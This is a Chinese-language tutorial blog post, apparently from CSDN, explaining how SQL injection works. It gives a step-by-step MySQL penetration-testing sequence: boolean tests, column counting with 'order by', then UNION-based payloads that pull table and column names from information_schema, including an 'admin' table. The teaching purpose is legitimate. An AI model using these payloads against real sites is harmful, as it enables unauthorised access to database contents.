sql注入的原理分析

本文详细介绍了SQL注入的概念,即用户输入的数据库语句被网站执行,可能导致数据泄露的安全漏洞。通过示例解释了数据库的结构和基本查询语句,并展示了渗透测试的流程,包括判断注入漏洞、字段数、回显点等步骤。最后提到了利用`union`和`information_schema`库进行查询数据的方法,强调了防范数据库注入漏洞的重要性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.知识点一:什么是sql注入?

用户输入的内容被网站当做数据库语句进行执行。关键点:输入的内容 一定要是【数据库语句】。

用户输入的内容: 我们输入的内容。


在一个网站上能够输入的地方:
    1.网站给我们提供的框框(比如搜索框,登陆框····)
    2.网址的参数的值。

过程:我们输入“虎年红包”,回车后,京东网站将我们输入的“虎年红包”,拿到了它的数据库里面进行查询,
并且将查询的结果显示到了网站上。


总结:
漏洞原理:
我们在一个网站上,输入【数据库语句】,如果这个网站执行了,就说明这个网站存在数据库注入漏洞。

2.知识点二:

分类:mysql、access、mssql····
数据库的结构:库、表、行、列—(字段)

    select ··· from ··· where 
        select  翻译:查询
        from  翻译:来自
        where 翻译:条件,当····条件成立的时候

    Eg:select 嫂子是否在家 from 风哥的家  where 风哥不在家 。 (四级英语的翻译题)

    翻译成中文:当风哥不在家条件成立的时候,去风哥的家查询嫂子是否在家。


    阚:当风哥不在家,去风哥家里看看嫂子是否在家
    半城:在风哥不在家的情况下,在风哥的家中看嫂子是是否在家
Navicat 软件,功能:管理数据库。

    


* 代表 所有数据的意思。

3.知识点三:渗透流程

漏洞原理:
我们在一个网站上,输入【数据库语句】,如果这个网站执行了,就说明这个网站存在数据库注入漏洞。

and 并列条件
     1=1 and 2=2 (前后两条件都成立,才算成立。)
    1.判断网站是否存在数据库注入漏洞。
        and 1=1 --> 页面有内容 
        and 1=2 --> 页面没有内容
            ==> 推断出该网站存在数据库注入漏洞。
                原因:我们输入的数据库语句,该网站执行。
    2.判断字段(列)数 ,order by ,作用:排序。
    ps:一个网站存在数据库注入漏洞,意味着我们输入的数据库语句都会执行。
        order by 1 --> 页面有内容 --> 说明网站的表里面有1列。
        order by 2 --> 页面有内容 --> 说明网站的表里面有2列。
        order by 3 --> 页面没有内容 --> 说明网站的表里面没有3列,只有2列。
    ps:当and被网站过滤的时候,可以使用order by 来判断。

    3.判断回显点。union 作用:能够同时执行两条查询语句。关键点:必须保证前后两条查询的语句【列的个数保持一致】。
        回显点:能够将我们输入的数据库语句,执行,并且将执行的结果显示到页面上。
        and 1=2 union select 1,2
    4.查询数据
        version() # 作用:查询版本号。 5.5.53
        database()# 作用:当前数据库库名。   maoshe

查询表名:

?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

查询列名:
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1

limit m,n # 从第m+1行开始查询n条数据。  limit 2,2

information_schema 库名,mysql自带的。
tables 表的名字,mysql自带的。 information_schema.tables ,库.表 (指定什么库里面的什么表)
columns 表的名字,mysql自带的。
table_schema 列的名字,存储的是网站管理员创建的库名
table_name 列的名字,存储的是网站管理员创建表的名字
column_name  列的名字 ,存储的是网站管理员创建列的名字

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值